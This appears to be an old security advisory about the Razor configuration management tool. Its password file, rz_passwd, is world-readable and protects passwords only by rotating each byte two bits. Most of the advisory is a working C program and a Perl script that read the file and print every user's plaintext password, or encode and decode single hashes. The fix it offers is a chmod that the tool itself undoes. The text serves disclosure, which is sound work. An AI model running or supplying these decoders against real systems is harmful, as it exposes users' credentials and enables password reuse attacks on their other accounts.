COMMAND

    Razor

SYSTEMS AFFECTED

    Those using Razor configuration management tool

PROBLEM

    Shawn  A.  Clifford  found  following.   Razor  is a configuration
    management tool.  There is a serious flaw with the Razor  password
    file, rz_passwd.  The problem is two-fold:

        1) The  enciphering method  used to  scramble the  password is
           extremely weak, using  only a simple  bit rotation on  each
           byte.  This was  obvious after studying the  rz_passwd file
           format for less than 30 minutes.

        2) The permissions on rz_passwd are world readable (a+r).   If
           we change the permissions to owner-only readable (mode 400)
           Razor  works  fine.   But,  when  a  'razor add_user ....',
           'razor  remove_user  ...',  or  'razor  passwd'  command is
           issued, the permissions are changed back to world readable.
           We  then  tried  changing  the  permissions  on  the parent
           directory  to  rwx------  (mode  700),  but  Razor was then
           unable to restart the databases.

    The  Razor   password  file   is  found   in  a   directory  named
    Razor_License on the machine acting as the license server.

    The razor password  file is composed  of 51-byte records  of three
    fields of 17 bytes.  The fields are:  username, encoded  password,
    and group.   The username  and group  fields are  stored in  ASCII
    plaintext  with  NULL  padding,  and  the  encoded  password is an
    8-byte (maximum) field with NULL padding.

    The enciphered password  is created by  rotating each byte  in the
    plaintext password  right 2  bits.   To decode  the password, each
    byte is just rotated left 2 bits.

    Obviously  this  is  an  extremely  weak  and dangerous method for
    securing the passwords.   In fact, you  can sit down  with a  pad,
    pencil, and a hex dump of of the password file and decode  entries
    by hand.  But  to make matters worse,  the password file is  world
    readable.

    A repurcussion of this might be that an attacker recovers a user's
    Razor password and then tries the password against other  accounts
    that the user may have.  One would guess that many users have  the
    same password  everywhere.   This is  a bad  password policy,  but
    nearly impossible to detect or deter.

    dumprazorpasswd.c:

    #include <stdio.h>
    #include <fcntl.h>
    #include <stdlib.h>
    #include <ctype.h>
    
    /************************************************************
    
      dumprazorpasswd -
        dumprazorpasswd
			    - prompts for input hex string to decode
        dumprazorpasswd <razor_passwd_file>
			    - prints the users and passwords in <file>
        dumprazorpasswd <passwd>
			    - encrypts <passwd> and prints it in hex
    
      16-jun-2000	pbw.
    
    ************************************************************/
    
    #define ASCII2BIN(c) ( isdigit(c) ? c - '0' : toupper(c) - '7' )
    
    #define ROT8L(c,b) ( (c)=( ( (c<< (b%8) ) + (c>>(8-(b%8))&((1<<(b%8))-1)) )
    & 0x00ff) )
    #define ROT8R(c,b) ( (c)=( ( (c<< (8-(b%8)) ) + (
    c>>(b%8)&((1<<(8-(b%8)))-1)) ) & 0x00ff) )
    
    struct pwent
      {
      char uname[17];
      char psswd[17];
      char gname[17];
      };
    
    dumpfile (int fd)
    {
    int    status, k;
    struct pwent pwent;
    
    while ( (status = read (fd, &pwent, 51)) > 0 )
      {
      if (status != 51)
          {
          printf ("fd = %d\n", fd);
          printf ("partial read! only read %d bytes\n", status);
          exit(0);
          }
      k = 0;
      while (pwent.psswd[k] != '\0')
        {
        ROT8L(pwent.psswd[k], 10);
        k++;
        }
      printf ("user %-17s  %-17s\n", &(pwent.uname[0]), &(pwent.psswd[0]));
      }
    }
    
    main (int argc, char *argv[])
    
    {
    int  fd,i,k;
    char   passwd[18];
    char   dpasswd[9];
    
    if (argc < 2)
        {
        printf("razor passwd to decrypt :");
        fgets(passwd, 17, stdin);
        passwd[strlen(passwd)-1] = 0;
        k=0;
        for (i=0 ; i<9 ; dpasswd[i++]=0);
        for (i=(strlen(passwd)-1) ; i>=0 ; i--)
          {
          if (k & 1)
              {
              dpasswd[i/2] |= ((ASCII2BIN(passwd[i]) << 4) & 0xf0);
              }
            else
              {
              dpasswd[i/2] = ASCII2BIN(passwd[i]) & 0x0f;
              }
          k++;
          }
        for (i=0 ; i<strlen(dpasswd) ; i++)
          ROT8L(dpasswd[i], 2);
        printf("%s\n", dpasswd);
        exit(0);
        }
    fd = open (argv[1], O_RDONLY);
    if (fd < 0)
        {					/* assume arg is a passwd to encrypt
    */
        for ( i=0 ; i<strlen(argv[1]) ; i++)
          printf("%02X", (unsigned char)ROT8R(argv[1][i], 2) );
        printf("\n");
        }
      else
        {					/* dump file */
        dumpfile(fd);
        }
    exit(0);
    }

    passwd_rz.pl:

    #!/usr/local/bin/perl
    
    #
    #  Title:	passwd_rz.pl
    #  Author:	Shawn A. Clifford
    #  Date:	2000-June-15
    #  Purpose:	Encrypt/decrypt Visible Systems Corp.' Razor passwords
    #  Usage:	passwd_rz.pl [ hex_hash | password_file_name ]
    #
    #		When run without arguments, this program will prompt for
    #		a plaintext password and produce the ciphertext that Razor
    #		would create for the same string.
    #		Eg.:  ./passwd_rz.pl
    #
    #			Enter a password, max 8 chars:  WayLame
    #			Hash (in hex):  D5585E13585B59
    #
    #		When passed a hex-character string, the program will
    #		generate the corresponding plaintext password.
    #		Eg.:  ./passwd_rz.pl D5585E13585B59
    #
    #			Decrypting input hex string:  D5585E13585B59
    #			Plaintext password:           WayLame
    #
    #		When passed a filename for a Razor password file (rz_passwd),
    #		the program will dump all of the entries in the password
    #		file.  Each entry contains a username, password, and group.
    #		Eg.:  ./passwd_rz.pl rz_passwd
    #
    #			Decrypting Razor password file:  rz_passwd
    #
    #			Username           Password         Group
    #			--------           --------         -----
    #			luser123           lamerz           please
    #			luser45            cant             fix
    #			buckwheat          code             this
    #			.
    #			.
    #			.
    #			tester1            CCCCCCCC         test
    #			tester2            AAAAAA           test
    #
    #			233 password entries
    #
    
    
    use strict;
    
    #
    #  Defines
    #
    my $arg;			# Command line argument
    my $PLEN = 8;		# Maximum number of chars in a password
    my $PGLEN = 22;		# Output page length
    my @hash;			# Password hash (err, lame cipher)
    my $passwd;			# Plaintext password
    my $byte;			# A single byte/char
    my $buffer;			# Record from the password file
    my $i;			# Counter/index
    my $user;			# Username from password file
    my $group;			# Group name from password file
    my $rec_fmt = 'A17 C17 A17';	# rz_passwd record format
    my $rec_size = length(pack($rec_fmt, ()));  # Size of a password file record
    
    
    if ($#ARGV < 0) {	# We want to encrypt a password
    
       #
       #  Get a password
       #
       print "\nEnter a password, max 8 chars:  ";
       $passwd = <STDIN>;
       chomp $passwd;
    
    
       #
       #  Encrypt the password
       #
       print "Hash (in hex):  ";
       for ($i=0; $i < length($passwd) && $i < $PLEN; $i++) {
    
          #
          #  For each byte in the password, rotate right 2 bits
          #
          $byte = unpack("C", substr($passwd,$i,1)) >> 2;
          $byte += unpack("C", substr($passwd,$i,1)) << 6;
    
          #
          #  Mask off the resultant low byte and save
          #
          $hash[$i] = $byte & 0x00ff;
          printf "%X", $hash[$i];
       }
       print "\n\n";
    
    } else {		# We want to decrypt a rz_passwd file or hex string
    
       $arg = shift;
    
       if ( -f ${arg} ) {	# It's a file to process
    
          print "\nDecrypting Razor password file:  $arg\n";
          open(IN, "<${arg}") || die "Can't open passwd file: $!";
    
          $i = 0;
          while ( read(IN, $buffer, $rec_size) == $rec_size ) {
             if ($i % $PGLEN == 0) {
                print "\nUsername           Password         Group\n";
                print "--------           --------         -----\n";
             }
             ($user, @hash, $group) = unpack($rec_fmt, $buffer);
             $group = substr($buffer, 34, 17);  # unpack didn't give me this, why?
             printf "%-17s  %-15s  %-17s\n", $user, decrypt(@hash), $group;
             $i++;
          }
          printf "\n%d password entries\n\n", $i;
          close(IN);
    
       } else {		# It had better be a string of hex digits!
    
          print "\nDecrypting input hex string:  $arg\n";
    
          #
          #  Convert ASCII character string to a binary array
          #
          @hash = ();
          for ($i=0; $i < (length($arg)/2) && $i < $PLEN; $i++) {
             $byte = hex(substr($arg, $i*2, 2));
             $hash[$i] = $byte;
          }
    
          #
          #  Call the decrypt function to print the plaintext password
          #
          printf "Plaintext password:           %s\n\n", decrypt(@hash);
    
       }
    
    }
    
    sub decrypt {
       my @hash = @_;		# Pick up the passed array
       my $passwd = ();		# Zero the output plaintext scalar
       my $i;
       my $byte;
    
    
       #
       #  Decrypt the lamely enciphered password
       #
       for ($i=0; $i < $PLEN; $i++) {
    
          #
          #  Convert NULLs to spaces
          #
          if ($hash[$i] == 0) {
             $passwd = $passwd . " ";
             next;
          }
    
          #
          #  For each byte in the hash, rotate left 2 bits
          #
          $byte = $hash[$i] << 2;
          $byte += ($hash[$i] >> 6) & 0x03;
    
          #
          #  Mask off the resultant low byte and save
          #
          $passwd = $passwd . chr($byte & 0x00ff);
    
       }
    
       return $passwd;
    }

SOLUTION

    You  may  do  a  'chmod  700  rz_passwd', but the permissions will
    change if a 'razor xxx' command is used that touches the  password
    file.